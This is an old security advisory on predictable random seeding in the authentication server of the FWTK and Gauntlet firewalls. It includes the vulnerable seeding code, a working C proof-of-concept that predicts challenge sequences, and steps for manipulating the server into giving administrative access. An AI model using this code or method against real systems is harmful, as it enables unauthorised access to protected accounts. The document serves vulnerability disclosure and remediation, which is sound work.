COMMAND
Gautlet and FWTK
SYSTEMS AFFECTED
FWTK and Gautlet though 4.x
PROBLEM
'kadokev' found following. A 'random seed' problem in lib/rand.c
affects all local challenge-response authentication on FWTK and
Gauntlet. Many services have support available for this
authentication service, including versions of ssh, ftp and telnet.
The problem discussed in this paper affects all the 'random
challenge' authentication methods in Unix platform releases both
FWTK and of Gauntlet, though 4.x. The affected challenge-response
methods include Cryptocard, SNK (Axent) and md5 authentication, as
well as RADIUS CHAP. This problem does not affect the 'Defender'
(DSS), or S/Key authentication methods. Simply put, if you know
the response to any one challenge (from sniffing the cleartext
exchange, shoulder surfing, etc.), you can predict when the
authsrv will generate that same challenge again and possibly
manipulate it into repeating the challenge within minutes.
The random number routine in the FWTK library 'seeds'
(initializes) the Unix random number generator using only time and
process id information, making the sequence of challenges
trivially easy to predict. This weakness is similar to the 1995
Netscape 'random seed' security problem, and a real fix is likely
to be machine-dependent. Attacks based on the vulnerability are
made easier if the authentication server is running any additional
services, especially if the attacker can determine the system time
and drive up the process ID (cause new processes to be spawned,
and 'hold' certain process IDs). An attack is trivially easy from
a command prompt on the host running the authentication server.
Attacks would be nearly impossible with a real pseudo-random seed
and a limit on the duration and number of 'authorize' commands in
a single connection to the authentication server. It would also
help to treat 'abandoned' challenges the same as authentication
failures, eventually locking the account. The authsrv listens on
a network port (defaults to 7777) but can be configured to only
accept authentication requests from specific IP addresses. Most
sites will have the authsrv configured to only accept requests on
the loopback address 127.0.0.1, and thus are only vulnerable to
local attacks.
Any user with shell access to the authsrv host, and potentially
some remote users, can not only predict the sequence of
challenges, but with some effort can maneuver the server into
generating a certain specific challenge, presumably one to which
the response is already known. As well, the way in which the
random seed is generated ensures that, of the one-million possible
challenges (ten million for Cryptocard), only 32K unique initial
challenges will be generated. Being able to predict the challenge
is bad, but being able to cause the server to generate a specific
challenge (one for which you know the response) is an exploitable
security hole.
The first time the randomnumber() function in lib/rand.c is
called, authsrv sets the seed with this code:
long
randomnumber()
{
static int initt = 0;
if(!initt) {
long tbuf;
time(&tbuf);
srand(((int)tbuf % getpid()) + getppid());
initt++;
}
return(rand());
}
Whether run as a daemon or from inetd, each authentication
instance is a new process, thus srand() is called to set a new
seed when sending the first challenge, then not called again for
subsequent challenges in the same process. Following code has
been tested on Sparc Solaris 2.6 against both FWTK 2.1 and
Gauntlet 4.2:
/* Proof of concept demonstrating challenge prediction in TIS products
* including both the free FWTK and commercial Gauntlet an 'lib/rand.c',
* This is NOT a full exploit, though it could be the basis for one.
*
* The challenge value from 'authsrv' for MD5, SNK, and Cryptocard
* authentication protocol is generated with a function 'randomnumber()',
* contrary to it's name, the output is trivially predictable.
*
* Date: 12 Jan 1999
* Author: Kevin Kadow <fwtk@msg.net>
* OS: All
* Notes:
* You'll need to decide whether to 'USE_RAND' or 'USE_RANDOM', the
* commercial Gauntlet is built with USE_RAND (at least on Solaris), for
* FWTK use what your authserv uses, or whichever compiles without errors.
*
* This must be compiled and run on the same host as the authsrv process,
* or at least identical hardware with the clock synchronized to the
* server. You can get the server's clock value via any timestamp
* function, this includes ntp, daytime, syslog, NFS, or ICMP (via the
* icmpquery.c program)
*
*
* compile with 'gcc -o challenge challenge.c'
*
* Determine the listening port of authsrv (from inetd.conf, netperm-table, etc)
*
* Get a shell prompt on the authsrv host, use 'ps' to find the PID of the
* authsrv daemon (it's the authsrv process that never dies), or if running
* out of inetd, the inetd PID.
*
* From the authsrv host or any other host that is allowed to authenticate,
* open a telnet connection to the authsrv, and type 'authenticate username'
* where 'username' is a valid MD5 or SNK user. Do NOT press enter.
*
* Use 'ps to find the PID of the new child process, then from the shell on
* the authsrv host, type './challenge <parent-PID> <child-PID>'
*
* Challenge will begin printing the predicted first 6 challenges for the
* current second. When you see a challenge to which you know the answer,
* press enter in the authsrv telnet session to 'lock in' that sequence.
*
* As I said, this is strictly a proof-of-concept, the company which
* commissioned this wasn't interested in exploit code at the time.
*
* Kevin Kadow
* MSG.Net, Inc.
*
*/
#include <stdio.h>
#define USE_RAND
#ifdef USE_RANDOM
long
getnumber(int pid, int ppid)
{
if(pid && ppid) {
long timebuf;
time(&timebuf);
/*srandom(((int)timebuf % getpid()) + getppid())*/;
srandom(((int)timebuf % pid) + ppid);
printf(" (%d) ",((int)timebuf % pid) + ppid);
}
return(random());
}
#endif
#ifdef USE_RAND
long
getnumber(int pid, int ppid)
{
if(pid && ppid) {
long timebuf;
time(&timebuf);
/*srand(((int)timebuf % getpid()) + getppid());*/
srand(((int)timebuf % pid) + ppid);
}
return(rand());
}
#endif
main(argc,argv)
int argc;
char ** argv;
{
int pid,ppid,count;
int tries=60;
if(argc < 3) {
usage("Insufficient arguments");
}
ppid=atoi(argv[1]);
pid=atoi(argv[2]);
if( !pid || !ppid) {
usage("Invalid arguments");
}
if(argc < 4 || 0==(count=atoi(argv[3])))
count=tries;
printf("Generating %d seconds of challenge sequences:\n\n",count);
while(count > 0) {
int i=8;
printf("%6.6lu",getnumber(pid,ppid) % 999999);
while(i) {
printf(" %6.6lu",getnumber(0,0) % 999999);
i--;
}
printf("\n");
count--;
sleep(1);
}
}
usage(char * why)
{
if(why) printf("Error: %s\n\n", why);
printf("Usage: <parent-pid> <pid> [count]\n");
exit(1);
}
Any person with shell access to the authentication server host
knows or can predict all the factors, and through careful use of
fork() can influence the process ID to bring about a specific
sequence of challenges. The easiest exploit uses authsrv
management functions, however it is possible to gain access to any
service that authenticates through the 'authsrv' service. If the
user for which you've sniffed a challenge-response has 'wiz' or
'superwiz' access, you can use the authsrv to add your own
entries, with plaintext reusable passwords, or with 'superwiz' to
change the password for any user or to add new 'wiz' and
'superwiz' users. Because the authsrv process does not implement
a timeout, you can open a connection to the authentication server
(locking in the parent and current process id), then wait
indefinitely for the epoch clock to increment to a value that will
produce a challenge with a known response. This 'known challenge'
doesn't have to be the first one presented -- after generating the
first challenge, the authsrv has set off down a given 'path' of
challenges. By determining what 'path' the server is on, if you
know that the 50th challenge in the sequence will be the one to
which you know the answer, you can send 49 'authorize' requests
and only give a 'response' to the 50th question, the one to which
you know the answer. This is possible because these 'abandoned'
challenges do not count as bad authentications and will not cause
authsrv to lock the account. If one can determine the system time
remotely and can drive up the process ID through an accessible
service (such as smtpd) a remote exploit may be possible.
A HTML version, sample code, and further details on this problem
are available at
http://www.msg.net/utility/FWTK/
SOLUTION
The solution to this problem is the same as the solution to the
Netscape bug -- find a better random seed. Replay attacks would
also be much more difficult if the authsrv program limited the
duration of each connection and the number of 'abandoned'
authorization attempts for each user.
TIS and Network Associates were first notified on January 12, 1999
when this bug was initially discovered in the free FWTK product.
Network Associates was notified on March 4, 1999 when the same
problem was confirmed in the most recent release of Gauntlet. They
are aware of the problem and have replied that they are developing
patches for Gauntlet 5.0, but would not commit to a release date
or patches for Gauntlet 4.2 and earlier.